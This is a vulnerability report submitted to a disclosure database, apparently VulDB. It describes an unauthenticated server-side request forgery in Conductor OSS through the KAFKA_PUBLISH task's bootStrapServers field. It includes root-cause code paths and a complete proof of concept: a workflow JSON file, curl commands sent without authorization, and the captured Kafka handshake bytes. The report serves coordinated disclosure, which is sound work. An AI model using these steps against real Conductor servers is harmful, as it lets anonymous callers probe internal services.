Gửi #979793: Conductor OSS Conductor >= 3.16.0 (audited commit ce46eac) server-side request forgery (CWE-918)

Anonymous workflow API makes the server connect to a caller-chosen Kafka broker

Anonymous workflow API makes the server connect to a caller-chosen Kafka broker

Data flow: HTTP workflow definition: tasks[].inputParameters.kafka_request.bootStrapServers at POST /api/metadata/workflow + POST /api/workflow/{name} → new KafkaProducer(bootstrap.servers=<caller value>) opening TCP connections to the caller-chosen host:port (KafkaProducerManager.getProducer)

AFFECTED INTERFACES
- POST /api/metadata/workflow (KAFKA_PUBLISH task, kafka_request.bootStrapServers) then POST /api/workflow/{name}

Primary route detail:

POST /api/metadata/workflow (KAFKA_PUBLISH task, kafka_request.bootStrapServers) then POST /api/workflow/{name}

ROOT CAUSE
1. Source: the HTTP JSON body of POST /api/metadata/workflow / POST /api/workflow/{name}. The
workflow task input kafka_request.bootStrapServers is stored and handed to the system task.
2. KafkaPublishTask.start() (kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java:112)
reads task.getInputData().get("kafka_request"), converts it to KafkaPublishTask.Input and only
checks that the value is non-blank (MISSING_BOOT_STRAP_SERVERS).
3. KafkaPublishTask.kafkaPublish() calls producerManager.getProducer(input).
4. KafkaProducerManager.getProducer() builds the Kafka Properties from that input and instantiates
new KafkaProducer(configProperties)
(kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManager.java:78,103),
which opens TCP connections to the caller-supplied bootstrap.servers value.

There is no allowlist, scheme restriction, address-range filter (loopback / RFC1918 / link-local /
metadata), resolved-IP check or egress bound anywhere in that flow, and the task definition is fully
attacker-controlled through the anonymous workflow API. The response body of the connection is not
returned to the caller, but the connection itself, the failure text and the task output give an
anonymous caller a server-side reachability/port-probe primitive against internal services.

PROOF OF CONCEPT

Baseline: commit ce46eac, server on 127.0.0.1:18081. The destination is a plain TCP listener on
127.0.0.1:18991 that logs the first bytes it receives and never replies; any host/port reachable
from the server can be substituted.

1. Register a workflow whose KAFKA_PUBLISH task points at the listener (no Authorization
header):

$ cat kafka-workflow.json
{
"name": "kafka-publish-test",
"version": 2,
"tasks": [{
"name": "kafka_publish",
"taskReferenceName": "kafka_canary_ref",
"type": "KAFKA_PUBLISH",
"inputParameters": {
"kafka_request": {
"bootStrapServers": "127.0.0.1:18991",
"topic": "canary-topic",
"value": "canary-payload",
"keySerializer": "org.apache.kafka.common.serialization.StringSerializer",
"valueSerializer": "org.apache.kafka.common.serialization.StringSerializer",
"requestTimeoutMs": 3000,
"maxBlockMs": 3000
}
}
}],
"schemaVersion": 2,
"ownerEmail": "[email protected]",
"timeoutPolicy": "ALERT_ONLY",
"timeoutSeconds": 0
}

$ curl -s -o /dev/null -w '%{http_code}' -X POST 'http://127.0.0.1:18081/api/metadata/workflow' \
-H 'Content-Type: application/json' -d @kafka-workflow.json
200

2. Start it (no Authorization header; the response carries the workflow id):

$ curl -s -X POST 'http://127.0.0.1:18081/api/workflow/kafka-publish-test' \
-H 'Content-Type: application/json' -d '{"version":2}'
fd389f24-6ef0-4f66-bcb1-9a7f053cd34e

3. What the listener logged - the Kafka ApiVersionsRequest handshake the Conductor server
sends to the address taken from the workflow definition:

$ cat canary.log
listening 127.0.0.1:18991
CONNECTION from 127.0.0.1:33854 bytes=50 hex=0000002e0012000400000000000a70726f64756365722d310012617061636865
CONNECTION from 127.0.0.1:33866 bytes=50 hex=0000002e0012000400000001000a70726f64756365722d310012617061636865

Both frames are Kafka ApiVersionsRequest v0 carrying client id producer-1, so the TCP connect
and the protocol handshake originate from the Conductor server and address the caller-supplied
bootStrapServers value verbatim.

4. Server-side confirmation (GET /api/workflow/{id}?includeTasks=true): the same task uses
that endpoint as its broker and waits for the broker response the substituted destination does not
send:

kafka_canary_ref KAFKA_PUBLISH kafka_request.bootStrapServers=127.0.0.1:18991
org.apache.kafka.common.errors.TimeoutException: Topic canary-topic not present in metadata after 3000 ms.

The producer had already finished its handshake with 127.0.0.1:18991 and was reading the broker
metadata for that address, which it obtains only through the caller-chosen endpoint.

The impact is a blind outbound connect (reachability / port oracle); no response body is returned to
the caller.

IMPACT

See the interface and root-cause sections: an actor who satisfies the stated preconditions makes the server perform a request or operation on a destination/target of the attacker's choosing, crossing the trust boundary described above.

- Project repository: https://github.com/conductor-oss/conductor
- Security policy: `SECURITY.md` in that repository.

- **Vendor contact**: GitHub Private Vulnerability Reporting - conductor-oss/conductor
- **Status**: vendor notified 2026-09-14 through GitHub Private Vulnerability Reporting; private report https://github.com/conductor-oss/conductor/security/advisories/GHSA-c7vq-65gv-729j; not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally.

• Người dùng: lucasg2g (UID 84737)
• Đệ trình: 15/09/2026 09:22 (cách đây 29 ngày)
• Kiểm duyệt: 12/10/2026 16:44 (27 days later)
• Trạng thái: được chấp nhận
• Mục VulDB: 416947 [conductor-oss conductor đến 3.33.0-rc10 KafkaPublishTask.java KafkaPublishTask.start kafka_request.bootStrapServers nâng cao đặc quyền]
• điểm: 17